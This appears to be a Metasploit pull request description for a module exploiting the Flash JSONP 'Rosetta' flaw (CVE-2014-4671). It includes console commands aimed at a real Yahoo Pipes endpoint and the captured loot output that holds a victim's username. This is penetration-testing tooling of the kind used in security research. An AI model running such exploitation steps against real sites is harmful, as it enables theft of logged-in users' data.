rapid7/metasploit-framework — pull request #3508 by jvennix-r7 (2014-07-10 14:11:29+00:00)
Title: CVE-2014-4671 Flash JSONP Disclosure

This module automates the detection and exfiltration of data using the Flash JSONP "Rosetta" exploit described [here](http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/).

##### Verification

Yahoo is vulnerable to this, so I used their Pipes JSONP endpoint to test. The URL I stole was "http://pipes.yahoo.com", which contained my username when I was logged in.

- [ ] Configure the module

msf> use auxiliary/gather/flash_rosetta_jsonp_url_disclosure
msf> set JSONP_URL http://pipes.yahoo.com/pipes/pipe.run?_id=e176c4da7ae8574bfa5c452f9bb0da92&_render=json&limit=10&term=blah
msf> set STEAL_URL http://pipes.yahoo.com/
msf> set CALLBACK _callback

- [ ] Ensure `check` command works and the endpoint is vulnerable:

msf> check
[+] - The target is vulnerable.

- [ ] Run the module
msf> run

- [ ] Install a version of Flash from [here](http://helpx.adobe.com/flash-player/kb/archived-flash-player-versions.html) that was released prior to July 2014.

- [ ] Log into http://pipes.yahoo.com with a yahoo account

- [ ] Browse to the exploit URL

- [ ] You should see the following in the console:

[+] 13490 bytes captured from target 172.16.10.39 on URL:
http://pipes.yahoo.com/
[+] Stored in /Users/joe/.msf4/loot/blah

- [ ] Grep for your yahoo username in the loot file, it should be there.